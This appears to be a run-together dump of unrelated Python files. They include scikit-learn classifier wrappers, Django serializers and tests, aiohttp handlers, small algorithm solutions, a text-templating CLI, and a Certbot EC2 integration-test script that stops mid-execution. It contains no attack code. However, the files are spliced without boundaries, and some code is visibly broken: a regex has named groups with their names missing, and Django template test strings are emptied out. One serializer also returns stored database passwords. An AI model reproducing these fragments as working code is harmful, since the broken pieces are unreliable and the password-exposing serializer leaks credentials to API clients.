,target ): X, x_train,x_test,y_train,y_test = preproccessAndSplit(df,features,target) x_train,y_train = RandomOverSampler(random_state=123).fit_resample(x_train, y_train) model=KNeighborsClassifier(n_jobs=-1) model.fit(x_train,y_train) return X, x_test, y_test, model #### ---- 3. Decision Tree : def DTClassifier(df,features,target): X, x_train,x_test,y_train,y_test = preproccessAndSplit(df,features,target) x_train,y_train = RandomOverSampler(random_state=123).fit_resample(x_train, y_train) model = DecisionTreeClassifier(random_state=123) model.fit(x_train,y_train) return X, x_test, y_test, model #### ---- 4. Perceptron : def perceptron(df,features,target): X, x_train,x_test,y_train,y_test = preproccessAndSplit(df,features,target) x_train,y_train = RandomOverSampler(random_state=123).fit_resample(x_train, y_train) model = Perceptron(random_state=123) model.fit(x_train, y_train) return X, x_test, y_test, model #### ---- 5. SVC : def scv(df,features,target): X, x_train,x_test,y_train,y_test = preproccessAndSplit(df,features,target) x_train,y_train = RandomOverSampler(random_state=123).fit_resample(x_train, y_train) model = SVC(random_state = 123) model.fit(x_train,y_train) return X, x_test, y_test, model #### ---- 6. Linear SVC: def LinearSvc(df,features,target): X, x_train,x_test,y_train,y_test = preproccessAndSplit(df,features,target) x_train,y_train = RandomOverSampler(random_state=123).fit_resample(x_train, y_train) model=LinearSVC(random_state=123) model.fit(x_train,y_train) return X, x_test, y_test, model #### ---- 7. Random forest Classifier : def RFClassifier(df , features, target): X, x_train,x_test,y_train,y_test = preproccessAndSplit(df,features,target) model = RandomForestClassifier(n_jobs = -1,random_state = 123) model.fit(x_train, y_train) return X, x_test, y_test, modelyoyowallet/inspectorinspector/systems/serializers.py1-10 from . import models from rest_framework import serializers class SystemSerializer(serializers.ModelSerializer): class Meta: model = models.System fields = ( 'pk', 'name', 'application', ) class EnvironmentSerializer(serializers.ModelSerializer): class Meta: model = models.Environment fields = ( 'pk', 'name', ) class InstanceSerializer(serializers.ModelSerializer): class Meta: model = models.Instance fields = ( 'pk', 'host', 'port', 'database_or_schema', 'login', 'password', ) pyleecan/Methods/Mesh/SolutionMat/get_axis.py # -*- coding: utf-8 -*- import numpy as np def get_axis(self): """Get the value of variables stored in Solution. Parameters ---------- self : SolutionMat an SolutionMat object Returns ------- axis_dict: dict a dict of axis names containing axis sizes """ return self.axis commandopt/exceptions.py #!/usr/bin/env python # -*- coding: utf-8 -*- class CommandoptException(Exception): """Base class of the commandopt exceptions.""" pass class NoCommandFoundError(CommandoptException): def __init__(self, opts): self.message = "No command found for opts = {}".format(opts) import numpy import os import pytest from area_detector_handlers.tests.conftest import select_handler @pytest.mark.parametrize('imm_file,frames_per_point,frame_shape', [('B020_bluesky_demo_00001-00021.imm', 21, (516, 1556))]) @select_handler("IMM") def test_imm(imm_file, frames_per_point, frame_shape, handler): import area_detector_handlers.tests as tests root = os.path.join(os.path.dirname(tests.__file__), 'data') path = os.path.join(root, imm_file) kwargs = {'frames_per_point': frames_per_point} expected_shape = (frames_per_point, *frame_shape) with handler(path, **kwargs) as h: d = h(index=0) assert d.shape == expected_shape numpy.array(d) def datum_kwargs_gen(): yield kwargs assert h.get_file_list(datum_kwargs_gen()) == [path] from django.template.defaulttags import register from django.template.defaultfilters import stringfilter from django import template register = template.Library() @register.filter() def get_item(template_dict, key): return template_dict.get(key) @register.filter @stringfilter def strip(value): return value.replace(" ", "")# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations import datetime class Migration(migrations.Migration): dependencies = [ ('fojas_quirurgicas', '0004_auto_20150504_2120'), ] operations = [ migrations.AlterField( model_name='fojasquirurgicas', name='fecha', field=models.DateField(default=datetime.datetime(2015, 5, 5, 1, 1, 1, 702694)), preserve_default=True, ), migrations.AlterField( model_name='fojasquirurgicas', name='hora_comienzo', field=models.TimeField(default=datetime.datetime(2015, 5, 5, 1, 1, 1, 702739), verbose_name='Hora / Comienzo Operac\xf3n'), preserve_default=True, ), migrations.AlterField( model_name='fojasquirurgicas', name='hora_fin', field=models.TimeField(default=datetime.datetime(2015, 5, 5, 1, 1, 1, 702778), verbose_name='Hora / Termin\xf3 Operac\xf3n'), preserve_default=True, ), ] import json from json import JSONEncoder from typing import Type, Any, Union, overload, List from aiohttp import web, hdrs from aiohttp.abc import Request from aiohttp.typedefs import LooseHeaders from aiohttp.web_exceptions import HTTPBadRequest from aiohttp.web_response import Response from pydantic import BaseModel, ValidationError from aior.components.http_exceptions import BadRequestError from aior.constants import ( DEFAULT_JSON_HEADERS, NoneType) from aior.typedefs import ( T, T_headers, T_queries, T_path_args, T_body, T_model ) __all__ = ( 'BaseHTTPHandler', 'PlainBody', 'JSONBody', 'BytesBody', 'IntBody', 'FloatBody', 'BooleanBody', 'Header', 'Headers', 'PathArg', 'PathArgs', 'Query', 'Queries', 'JSONResponse', 'NoContentResponse', 'OriginResponse', ) from typing import Generic PlainBody = str BytesBody = bytes IntBody = int FloatBody = float BooleanBody = bool class _JSONBody(Generic[T]): def __getitem__(self, item: T) -> T: return 'json_body', item JSONBody = _JSONBody() class _XMLBody(Generic[T]): def __getitem__(self, item: T) -> T: return 'xml_body', item XMLBody = _XMLBody() class _Header(Generic[T]): def __getitem__(self, item: T) -> T: return 'header', item Header = _Header() class _Headers(Generic[T_headers]): def __getitem__(self, item: T_headers) -> T_headers: return 'headers', item Headers = _Headers() class _PathArg(Generic[T]): def __getitem__(self, item: T) -> T: return 'path_arg', item PathArg = _PathArg() class _PathArgs(Generic[T_path_args]): def __getitem__(self, item: T_path_args) -> T_path_args: return 'path_args', item PathArgs = _PathArgs() class _Query(Generic[T_headers]): def __getitem__(self, item: T) -> T: return 'query', item Query = _Query() class _Queries(Generic[T_queries]): def __getitem__(self, item: T_queries) -> T_queries: return 'queries', item Queries = _Queries() try: from sqlalchemy.ext.asyncio.session import AsyncSession except ImportError: AsyncSession = NoneType class BaseHTTPHandler(web.View): __cors__ = True def __init__(self, request: Request): super().__init__(request) self.db_session = None # type: AsyncSession async def on_start(self): """ Overwrite this function to customize operation on starting of processing request, such as authorization """ async def _iter(self): if self.request.method not in hdrs.METH_ALL: self._raise_allowed_methods() method = getattr(self, self.request.method.lower(), None) if method is None: self._raise_allowed_methods() await self.on_start() deserializer = getattr(method, '__deserializer__', None) if deserializer is not None: try: kwargs = {name: await callback(self.request) for name, callback in deserializer.items()} except ValidationError as e: return JSONResponse(e.errors(), status=400) except Exception as e: raise HTTPBadRequest from e resp = await method(**kwargs) else: resp = await method() return resp @overload async def load_body(self) -> Union[dict, str, int, bool]: ... @overload async def load_body(self, req_cls: Type[T_body]) -> T_body: ... @overload async def load_body(self, req_cls: List[Type[T_body]]) -> List[T_body]: ... async def load_body(self, req_cls: Type[T_body] = None) -> T_body: try: if req_cls: if isinstance(req_cls, list): return [req_cls[0](**d) for d in await self.request.json()] return req_cls(**await self.request.json()) return await self.request.json() except ValidationError as e: raise BadRequestError(e.json()) @overload async def load_headers(self) -> Union[dict, str, int, bool]: ... @overload async def load_headers(self, req_cls: Type[T_model]) -> T_model: ... async def load_headers(self, req_cls=None): if req_cls: return req_cls(**self.request.headers) return self.request.headers @overload async def load_query(self) -> Union[dict, str, int, bool]: ... @overload async def load_query(self, req_cls: Type[T_model]) -> T_model: ... async def load_query(self, req_cls=None): if req_cls: return req_cls(**self.request.query) return self.request.query @overload async def load_path(self) -> Union[dict, str, int, bool]: ... @overload async def load_path(self, req_cls: Type[T_model]) -> T_model: ... async def load_path(self, req_cls=None): if req_cls: return req_cls(**dict(self.request.match_info)) return dict(self.request.match_info) OriginResponse = Response class BaseResponse(OriginResponse, Generic[T]): status = None reason = '' def __init__(self, text: T = None, *, headers: LooseHeaders = DEFAULT_JSON_HEADERS, encoder: Type[JSONEncoder] = JSONEncoder, **kwargs: Any, ) -> None: if text is not None and not isinstance(text, str): if isinstance(text, list): data = [i.dict() if isinstance(i, BaseModel) else i for i in text] else: data = text.dict() if isinstance(text, BaseModel) else text text = encoder().encode(data) super().__init__(text=text, status=self.status, reason=self.reason, headers=headers, **kwargs) class OKResponse(BaseResponse, Generic[T]): status = 200 reason = 'OK' class CreatedResponse(BaseResponse, Generic[T]): status = 201 reason = 'Created' class NoContentResponse(BaseResponse, Generic[T]): status = 204 reason = 'No Content' class JSONResponse(OriginResponse, Generic[T]): def __init__(self, text: T = None, *, status: int = 200, reason: str = 'OK', headers: LooseHeaders = DEFAULT_JSON_HEADERS, encoder: Type[JSONEncoder] = JSONEncoder, **kwargs: Any, ) -> None: if text is not None and not isinstance(text, str): if isinstance(text, list): data = [i.dict() if isinstance(i, BaseModel) else i for i in text] else: data = text.dict() if isinstance(text, BaseModel) else text text = encoder().encode(data) super().__init__(text=text, status=status, reason=reason, headers=headers, **kwargs) class NoContentResponse(JSONResponse, Generic[T]): def __init__(self, status: int = 204, reason: str = 'No Content', headers: LooseHeaders = DEFAULT_JSON_HEADERS, **kwargs: Any, ): super().__init__(status=status, reason=reason, headers=headers, **kwargs) class GreedySolver(): def __init__(self, workpiece_lengths, max_rod_length, strategy=None): self.workpiece_lengths = workpiece_lengths self.max_rod_length = max_rod_length self.strategy = strategy self._solution = [] self._rod_lengths = [] def _find_rod(self, workpiece_number): workpiece_length = self.workpiece_lengths[workpiece_number] for idx, rod_length in enumerate(self._rod_lengths): if rod_length >= workpiece_length: self._rod_lengths[idx] -= workpiece_length self._solution[idx].append(workpiece_number) return self._rod_lengths.append(self.max_rod_length - workpiece_length) self._solution.append([workpiece_number]) def solve(self, permutation): self._solution.clear() self._rod_lengths.clear() if self.strategy: permutation = self.strategy.get(permutation) for workpiece_number in permutation: self._find_rod(workpiece_number) return self._solution.copy(), len(self._rod_lengths) class IterSolver(): def __init__(self, workpiece_lengths, max_rod_length, iters, strategy): self.iters = iters self.strategy = strategy self._greedy_solver = GreedySolver(workpiece_lengths, max_rod_length) def solve(self, permutation): best_solution = [] best_crit = len(permutation) current_solution = [] for iter_number in range(self.iters): permutation = self.strategy.get(permutation, current_solution) current_solution, current_crit = self._greedy_solver.solve(permutation) if current_crit < best_crit: best_crit = current_crit best_solution = current_solution return best_solution, best_crit geemaple/algorithm class Solution(object): def generate(self, numRows): """ :type numRows: int :rtype: List[List[int]] """ res = [] for i in range(numRows): row = [] for j in range(i + 1): if j == 0 or j == i: row.append(1) else: val = res[-1][j - 1] + res[-1][j] row.append(val) res.append(row) return resfrom django.test import TestCase, RequestFactory from django.apps import apps from django.template import Context, Template from apps.AboutMe.apps import AboutmeConfig # Create your tests here. class AboutMeTest(TestCase): def setUp(self): pass def tearDown(self): pass def test_home_page_status(self): ''' The home page is also the page displayed by the AboutMe app ''' response = self.client.get('/') self.assertEqual(response.status_code, 200) def test_home_page_content(self): ''' The home page should have an ABOUT ME and RESUME present ''' response = self.client.get('/') self.assertContains(response, 'About Me') self.assertContains(response, 'Resume') def test_apps(self): ''' This test for apps was recommended here: https://stackoverflow.com/questions/43334953/testing-apps-py-in-django/45613899 ''' self.assertEqual(AboutmeConfig.name, 'AboutMe') self.assertEqual(apps.get_app_config('AboutMe').name, 'apps.AboutMe') def test_templatetags_addstr(self): ''' This tests templatetags to ensure the addstr function works. I used the following: https://krzysztofzuraw.com/blog/2017/how-to-test-django-template-tags.html ''' context = Context({'inFile': 'myfile.jpg'}) strTemplate = '{% load global_functions %}'\ '' template_to_render = Template(strTemplate) rendered_template = template_to_render.render(context) self.assertIn('"/img/myfile.jpg"', rendered_template) def test_templatetags_linkValid(self): ''' This tests templatetags to ensure the linkValid function works. I used the following: https://krzysztofzuraw.com/blog/2017/how-to-test-django-template-tags.html ''' strTemplate = '{% load global_functions %}{% if course.'\ 'code_text|linkValid:course.link_href %}OK{% endif %}'\ '' # When context contains two None's then OK should not appear context = Context({'course': {'code_text': None, 'link_href': None}}) template_to_render = Template(strTemplate) rendered_template = template_to_render.render(context) self.assertNotIn('OK', rendered_template) # When one context is None's then OK should not appear context = Context({'course': {'code_text': 'aaa', 'link_href': None}}) template_to_render = Template(strTemplate) rendered_template = template_to_render.render(context) self.assertNotIn('OK', rendered_template) # When one context is None's then OK should not appear context = Context({'course': {'code_text': None, 'link_href': 'bbb'}}) template_to_render = Template(strTemplate) rendered_template = template_to_render.render(context) self.assertNotIn('OK', rendered_template) # When both are present OK should appear context = Context({'course': {'code_text': 'aaa', 'link_href': 'bbb'}}) template_to_render = Template(strTemplate) rendered_template = template_to_render.render(context) self.assertIn('OK', rendered_template) # If either has length less than 1, then OK should not appear context = Context({'course': {'code_text': '', 'link_href': 'bbb'}}) template_to_render = Template(strTemplate) rendered_template = template_to_render.render(context) self.assertNotIn('OK', rendered_template) ASKtraining/tools import abc import re import sys from string import Template import click CONTEXT_SETTINGS = dict(help_option_names=['-h', '--help']) class TextFilter(metaclass=abc.ABCMeta): ''' Abstract class; to be overridden. ''' @abc.abstractmethod @abc.abstractmethod def describe_intent(self) -> None: ''' Mock function stub; to be overridden. ''' raise NotImplementedError('users must define "describe_intent" to use this base class') @abc.abstractmethod def filter(self, text) -> str: ''' Mock function stub; to be overridden. ''' raise NotImplementedError('users must define "filter" to use this base class') class RegexTextFilter(TextFilter): ''' Allows to filter a text by a regex search and replace. ''' def __init__(self, search_p, repl_p): self.search = re.compile(search_p) self.repl = repl_p def describe_intent(self): return "INFO: replacing (regex): '%s' -> '%s'" % (self.search.pattern, self.repl) def filter(self, text): return self.search.sub(self.repl, text) class TemplateFilter(TextFilter): ''' Allows to filter a text with a template; see the string.Template class. ''' def __init__(self, template_class, replacements): self.template_class = template_class self.replacements = replacements def describe_intent(self): lines = [] for key, value in self.replacements.items(): lines.append("INFO: replacing (static): '${%s}' -> '%s'" % (key, value)) # FIXME This is not generic yet, but fixed to our own filter: TemplatePedanticBash return '\n'.join(lines) def filter(self, text): template = self.template_class(text) return template.safe_substitute(self.replacements) class TemplatePedanticBash(Template): ''' Replaces only braced identifiers like "${key}" (not "$key"). Use "$" in front to escpape, like "$${key}". ''' delimiter = '$' pattern = r''' \$(?: (?P\$) | # Escape sequence of two delimiters \b\B(?P[_a-z][_a-z0-9]*) | # Disable un-braced name matching {(?P[_a-z][_a-z0-9]*)} | # delimiter and a braced identifier (?P) # Other ill-formed delimiter exprs ) ''' class KeyValuePairType(click.ParamType): ''' Allows to parse strings into key+value pairs, separated by either ':' or '='. This is for the click command-line parsing lib. ''' name = 'key-value-pair' sep = None def __init__(self, sep=None): self.sep = sep if not self.sep: self.sep = '[:=]' def convert(self, value, param, ctx) -> [str, str]: try: key_value = re.split(self.sep, value, 1) if len(key_value) < 2: raise ValueError("No key-value separator (regex: '%s') found!" % self.sep) return key_value except ValueError as err: self.fail(('"%s" is not a valid %s. ' + 'It needs to be of the form "keyvalue".;\n' + 'Error: %s') % (value, self.name, err), param, ctx) KEY_VALLUE_PAIR = KeyValuePairType() @click.group(context_settings=CONTEXT_SETTINGS) @click.version_option() def replace_vars() -> None: pass def replace_vars_by_lines(in_file, out_file, replacements, dry=False, verbose=False, pre_filter=None, post_filter=None) -> None: with open(in_file, "r") as src: with open(out_file, "w") as dst: replace_vars_by_lines_in_stream(src, dst, replacements, dry, verbose, pre_filter, post_filter) def replace_vars_by_lines_in_stream(fp_in, fp_out, replacements, dry=False, verbose=False, pre_filter=None, post_filter=None) -> None: if not replacements: print('WARNING: No replacements supplied!', file=sys.stderr) filters = [] if pre_filter: filters.append(pre_filter) filters.append(TemplateFilter(TemplatePedanticBash, replacements)) if post_filter: filters.append(post_filter) filter_stream(fp_in, fp_out, filters, dry, verbose) def filter_stream(fp_in, fp_out, filters=[], dry=False, verbose=False) -> None: if not filters: print('WARNING: No filters supplied!', file=sys.stderr) if verbose: for fltr in filters: print(fltr.describe_intent(), file=sys.stderr) if not dry: for line in fp_in: for fltr in filters: line = fltr.filter(line) fp_out.write(line) @click.command(context_settings=CONTEXT_SETTINGS) @click.argument("src", type=click.File("r")) @click.argument("dst", type=click.File("w")) @click.argument("replacements", type=KEY_VALLUE_PAIR, nargs=-1) @click.option('--dry', is_flag=True, help='Whether to skip the actual replacing') @click.option('--verbose', is_flag=True, help='Whether to output additional info to stderr') def cli(src, dst, replacements, dry=False, verbose=False) -> None: ''' This script works similar to the Unix `cat` command but it writes into a specific file (which could be the standard output as denoted by the ``-`` sign). \b Copy stdin to stdout: replace_vars - - \b Copy foo.txt and bar.txt to stdout: replace_vars foo.txt bar.txt - \b Write stdin into the file foo.txt replace_vars - foo.txt ''' replacements_dict = {} for key, value in replacements: replacements_dict[key] = value replace_vars_by_lines_in_stream(src, dst, replacements_dict, dry, verbose) if __name__ == '__main__': cli() from flask_restful_swagger_2 import Schema class PersonModel(Schema): type = 'object' properties = { 'id': { 'type': 'integer', }, 'name': { 'type': 'string', }, 'poster_image': { 'type': 'string', } } def serialize_person(person): return { 'id': person['tmdbId'], 'name': person['name'], 'poster_image': person['poster'], }""" Certbot Integration Test Tool - Configures (canned) boulder server - Launches EC2 instances with a given list of AMIs for different distros - Copies certbot repo and puts it on the instances - Runs certbot tests (bash scripts) on all of these - Logs execution and success/fail for debugging Notes: - Some AWS images, e.g. official CentOS and FreeBSD images require acceptance of user terms on the AWS marketplace website. This can't be automated. - AWS EC2 has a default limit of 20 t2/t1 instances, if more are needed, they need to be requested via online webform. Usage: - Requires AWS IAM secrets to be set up with aws cli - Requires an AWS associated keyfile .pem >aws configure --profile HappyHacker [interactive: enter secrets for IAM role] >aws ec2 create-key-pair --profile HappyHacker --key-name MyKeyPair \ --query 'KeyMaterial' --output text > MyKeyPair.pem then: >python multitester.py targets.yaml MyKeyPair.pem HappyHacker scripts/test_letsencrypt_auto_venv_only.sh see: https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html https://docs.aws.amazon.com/cli/latest/userguide/cli-ec2-keypairs.html """ from __future__ import print_function from __future__ import with_statement import sys, os, time, argparse, socket import multiprocessing as mp from multiprocessing import Manager import urllib2 import yaml import boto3 from botocore.exceptions import ClientError import fabric from fabric.api import run, execute, local, env, sudo, cd, lcd from fabric.operations import get, put from fabric.context_managers import shell_env # Command line parser #------------------------------------------------------------------------------- parser = argparse.ArgumentParser(description='Builds EC2 cluster for testing.') parser.add_argument('config_file', help='yaml configuration file for AWS server cluster') parser.add_argument('key_file', help='key file (.pem) for AWS') parser.add_argument('aws_profile', help='profile for AWS (i.e. as in ~/.aws/certificates)') parser.add_argument('test_script', default='test_letsencrypt_auto_certonly_standalone.sh', help='path of bash script in to deploy and run') #parser.add_argument('--script_args', # nargs='+', # help='space-delimited list of arguments to pass to the bash test script', # required=False) parser.add_argument('--repo', default='https://github.com/letsencrypt/letsencrypt.git', help='certbot git repo to use') parser.add_argument('--branch', default='~', help='certbot git branch to trial') parser.add_argument('--pull_request', default='~', help='letsencrypt/letsencrypt pull request to trial') parser.add_argument('--merge_master', action='store_true', help="if set merges PR into master branch of letsencrypt/letsencrypt") parser.add_argument('--saveinstances', action='store_true', help="don't kill EC2 instances after run, useful for debugging") parser.add_argument('--alt_pip', default='', help="server from which to pull candidate release packages") parser.add_argument('--killboulder', action='store_true', help="do not leave a persistent boulder server running") parser.add_argument('--boulderonly', action='store_true', help="only make a boulder server") parser.add_argument('--fast', action='store_true', help="use larger instance types to run faster (saves about a minute, probably not worth it)") cl_args = parser.parse_args() # Credential Variables #------------------------------------------------------------------------------- # assumes naming: = .pem KEYFILE = cl_args.key_file KEYNAME = os.path.split(cl_args.key_file)[1].split('.pem')[0] PROFILE = cl_args.aws_profile # Globals #------------------------------------------------------------------------------- BOULDER_AMI = 'ami-5f490b35' # premade shared boulder AMI 14.04LTS us-east-1 LOGDIR = "" #points to logging / working directory # boto3/AWS api globals AWS_SESSION = None EC2 = None # Boto3/AWS automation functions #------------------------------------------------------------------------------- def make_security_group(): # will fail if security group of GroupName already exists # cannot have duplicate SGs of the same name mysg = EC2.create_security_group(GroupName="letsencrypt_test", Description='security group for automated testing') mysg.authorize_ingress(IpProtocol="tcp", CidrIp="0.0.0.0/0", FromPort=22, ToPort=22) mysg.authorize_ingress(IpProtocol="tcp", CidrIp="0.0.0.0/0", FromPort=80, ToPort=80) mysg.authorize_ingress(IpProtocol="tcp", CidrIp="0.0.0.0/0", FromPort=443, ToPort=443) # for boulder wfe (http) server mysg.authorize_ingress(IpProtocol="tcp", CidrIp="0.0.0.0/0", FromPort=4000, ToPort=4000) # for mosh mysg.authorize_ingress(IpProtocol="udp", CidrIp="0.0.0.0/0", FromPort=60000, ToPort=61000) return mysg def make_instance(instance_name, ami_id, keyname, machine_type='t2.micro', security_groups=['letsencrypt_test'], userdata=""): #userdata contains bash or cloud-init script new_instance = EC2.create_instances( BlockDeviceMappings=_get_block_device_mappings(ami_id), ImageId=ami_id, SecurityGroups=security_groups, KeyName=keyname, MinCount=1, MaxCount=1, UserData=userdata, InstanceType=machine_type)[0] # brief pause to prevent rare error on EC2 delay, should block until ready instead time.sleep(1.0) # give instance a name try: new_instance.create_tags(Tags=[{'Key': 'Name', 'Value': instance_name}]) except ClientError as e: if "InvalidInstanceID.NotFound" in str(e): # This seems to be ephemeral... retry time.sleep(1) new_instance.create_tags(Tags=[{'Key': 'Name', 'Value': instance_name}]) else: raise return new_instance def _get_block_device_mappings(ami_id): """Returns the list of block device mappings to ensure cleanup. This list sets connected EBS volumes to be deleted when the EC2 instance is terminated. """ # Not all devices use EBS, but the default value for DeleteOnTermination # when the device does use EBS is true. See: # * https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-blockdev-mapping.html # * https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-ec2-blockdev-template.html return [{'DeviceName': mapping['DeviceName'], 'Ebs': {'DeleteOnTermination': True}} for mapping in EC2.Image(ami_id).block_device_mappings if not mapping.get('Ebs', {}).get('DeleteOnTermination', True)] # Helper Routines #------------------------------------------------------------------------------- def block_until_http_ready(urlstring, wait_time=10, timeout=240): "Blocks until server at urlstring can respond to http requests" server_ready = False t_elapsed = 0 while not server_ready and t_elapsed < timeout: try: sys.stdout.write('.') sys.stdout.flush() req = urllib2.Request(urlstring) response = urllib2.urlopen(req) #if response.code == 200: server_ready = True except urllib2.URLError: pass time.sleep(wait_time) t_elapsed += wait_time def block_until_ssh_open(ipstring, wait_time=10, timeout=120): "Blocks until server at ipstring has an open port 22" reached = False t_elapsed = 0 while not reached and t_elapsed < timeout: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((ipstring, 22)) reached = True except socket.error as err: time.sleep(wait_time) t_elapsed += wait_time sock.close() def block_until_instance_ready(booting_instance, wait_time=5, extra_wait_time=20): "Blocks booting_instance until AWS EC2 instance is ready to accept SSH connections" # the reinstantiation from id is necessary to force boto3 # to correctly update the 'state' variable during init _id = booting_instance.id _instance = EC2.Instance(id=_id) _state = _instance.state['Name'] _ip = _instance.public_ip_address while _state != 'running' or _ip is None: time.sleep(wait_time) _instance = EC2.Instance(id=_id) _state = _instance.state['Name'] _ip = _instance.public_ip_address block_until_ssh_open(_ip) time.sleep(extra_wait_time) return _instance # Fabric Routines #------------------------------------------------------------------------------- def local_git_clone(repo_url): "clones master of repo_url" with lcd(LOGDIR): local('if [ -d letsencrypt ]; then rm -rf letsencrypt; fi') local('git clone %s letsencrypt'% repo_url) local('tar czf le.tar.gz letsencrypt') def local_git_branch(repo_url, branch_name): "clones branch of repo_url" with lcd(LOGDIR): local('if [ -d letsencrypt ]; then rm -rf letsencrypt; fi') local('git clone %s letsencrypt --branch %s --single-branch'%(repo_url, branch_name)) local('tar czf le.tar.gz letsencrypt') def local_git_PR(repo_url, PRnumstr, merge_master=True): "clones specified pull request from repo_url and optionally merges into master" with lcd(LOGDIR): local('if [ -d letsencrypt ]; then rm -rf letsencrypt; fi') local('git clone %s letsencrypt'% repo_url) local('cd letsencrypt && git fetch origin pull/%s/head:lePRtest'%PRnumstr) local('cd letsencrypt && git checkout lePRtest') if merge_master: local('cd letsencrypt && git remote update origin') local('cd letsencrypt && git merge origin/master -m "testmerge"') local('tar czf le.tar.gz letsencrypt') def local_repo_to_remote(): "copies local tarball of repo to remote" with lcd(LOGDIR): put(local_path='le.tar.gz', remote_path='') run('tar xzf le.tar.gz') def local_repo_clean(): "delete tarball" with lcd(LOGDIR): local('rm le.tar.gz') def deploy_script(scriptpath, *args): "copies to remote and executes local script" #with lcd('scripts'): put(local_path=scriptpath, remote_path='', mirror_local_mode=True) scriptfile = os.path.split(scriptpath)[1] args_str = ' '.join(args) run('./'+scriptfile+' '+args_str) def run_boulder(): with cd('$GOPATH/src/github.com/letsencrypt/boulder'): run('go run cmd/rabbitmq-setup/main.go -server amqp://localhost') run('nohup ./start.py >& /dev/null < /dev/null &') def config_and_launch_boulder(instance): execute(deploy_script, 'scripts/boulder_config.sh') execute(run_boulder) def install_and_launch_certbot(instance, boulder_url, target): execute(local_repo_to_remote) with shell_env(BOULDER_URL=boulder_url, PUBLIC_IP=instance.public_ip_address, PRIVATE_IP=instance.private_ip_address, PUBLIC_HOSTNAME=instance.public_dns_name, PIP_EXTRA_INDEX_URL=cl_args.alt_pip, OS_TYPE=target['type']): execute(deploy_script, cl_args.test_script) def grab_certbot_log(): "grabs letsencrypt.log via cat into logged stdout" sudo('if [ -f /var/log/letsencrypt/letsencrypt.log ]; then \ cat /var/log/letsencrypt/letsencrypt.log; else echo "[novarlog]"; fi') # fallback file if /var/log is unwriteable...? correct? sudo('if [ -f ./certbot.log ]; then \ cat ./certbot.log; else echo "[nolocallog]"; fi') def create_client_instances(targetlist): "Create a fleet of client instances" instances = [] print("Creating instances: ", end="") for target in targetlist: if target['virt'] == 'hvm': machine_type = 't2.medium' if cl_args.fast else 't2.micro' else: # 32 bit systems machine_type = 'c1.medium' if cl_args.fast else 't1.micro' if 'userdata' in target.keys(): userdata = target['userdata'] else: userdata = '' name = 'le-%s'%target['name'] print(name, end=" ") instances.append(make_instance(name, target['ami'], KEYNAME, machine_type=machine_type, userdata=userdata)) print() return instances def test_client_process(inqueue, outqueue): cur_proc = mp.current_process() for inreq in iter(inqueue.get, SENTINEL): ii, target = inreq #save all stdout to log file sys.stdout = open(LOGDIR+'/'+'%d_%s.log'%(ii,target['name']), 'w') print("[%s : client %d %s %s]" % (cur_proc.name, ii, target['ami'], target['name'])) instances[ii] = block_until_instance_ready(instances[ii]) print("server %s at %s"%(instances[ii], instances[ii].public_ip_address)) env.host_string = "%s@%s"%(target['user'], instances[ii].public_ip_address) print(env.host_string) try: install_and_launch_certbot(instances[ii], boulder_url, target) outqueue.put((ii, target, 'pass')) print("%s - %s SUCCESS"%(target['ami'], target['name'])) except: outqueue.put((ii, target, 'fail')) print("%s - %s FAIL"%(target['ami'], target['name'])) pass # append server certbot.log to each per-machine output log print("\n\ncertbot.log\n" + "-"*80 + "\n") try: execute(grab_certbot_log) except: print("log fail\n") pass def cleanup(cl_args, instances, targetlist): print('Logs in ', LOGDIR) if not cl_args.saveinstances: print('Terminating EC2 Instances') if cl_args.killboulder: boulder_server.terminate() for instance in instances: instance.terminate() else: # print login information for the boxes for debugging for ii, target in enumerate(targetlist): print(target['name'], target['ami'], "%s@%s"%(target['user'], instances[ii].public_ip_address)) #------------------------------------------------------------------------------- # SCRIPT BEGINS #------------------------------------------------------------------------------- # Fabric library controlled through global env parameters env.key_filename = KEYFILE env.shell = '/bin/bash -l -i -c' env.connection_attempts = 5 env.timeout = 10 # replace default SystemExit thrown by fabric during trouble class FabricException(Exception): pass env['abort_exception'] = FabricException # Set up local copy of git repo #------------------------------------------------------------------------------- LOGDIR = "letest-%d"%int(time.time()) print("Making local dir for test repo and logs: %s"%LOGDIR) local('mkdir %s'%LOGDIR) # figure out what git object to test and locally create it in LOGDIR print("Making local git repo") try: if cl_args.pull_request != '~': print('Testing PR %s '%cl_args.pull_request, "MERGING into master" if cl_args.merge_master else "") execute(local_git_PR, cl_args.repo, cl_args.pull_request, cl_args.merge_master) elif cl_args.branch != '~': print('Testing branch %s of %s'%(cl_args.branch, cl_args.repo)) execute(local_git_branch, cl_args.repo, cl_args.branch) else: print('Testing master of %s'%cl_args.repo) execute(local_git_clone, cl_args.repo) except FabricException: print("FAIL: trouble with git repo") exit() # Set up EC2 instances #------------------------------------------------------------------------------- configdata = yaml.load(open(cl_args.config_file, 'r')) targetlist = configdata['targets'] print('Testing against these images: [%d total]'%len(targetlist)) for target in targetlist: print(target['ami'], target['name']) print("Connecting to EC2 using\n profile %s\n keyname %s\n keyfile %s"%(PROFILE, KEYNAME, KEYFILE)) AWS_SESSION = boto3.session.Session(profile_name=PROFILE) EC2 = AWS_SESSION.resource('ec2') print("Making Security Group") sg_exists = False for sg in EC2.security_groups.all(): if sg.group_name == 'letsencrypt_test': sg_exists = True print(" %s already exists"%'letsencrypt_test') if not sg_exists: make_security_group() time.sleep(30) boulder_preexists = False boulder_servers = EC2.instances.filter(Filters=[ {'Name': 'tag:Name', 'Values': ['le-boulderserver']}, {'Name': 'instance-state-name', 'Values': ['running']}]) boulder_server = next(iter(boulder_servers), None) print("Requesting Instances...") if boulder_server: print("Found existing boulder server:", boulder_server) boulder_preexists = True else: print("Can't find a boulder server, starting one...") boulder_server = make_instance('le-boulderserver', BOULDER_AMI, KEYNAME, machine_type='t2.micro', #machine_type='t2.medium', security_groups=['letsencrypt_test']) try: if not cl_args.boulderonly: instances = create_client_instances(targetlist) # Configure and launch boulder server #------------------------------------------------------------------------------- print("Waiting on Boulder Server") boulder_server = block_until_instance_ready(boulder_server) print(" server %s"%boulder_server) # env.host_string defines the ssh user and host for connection env.host_string = "ubuntu@%s"%boulder_server.public_ip_address print("Boulder Server at (SSH):", env.host_string) if not boulder_preexists: print("Configuring and Launching Boulder") config_and_launch_boulder(boulder_server) # blocking often unnecessary, but cheap EC2 VMs can get very slow 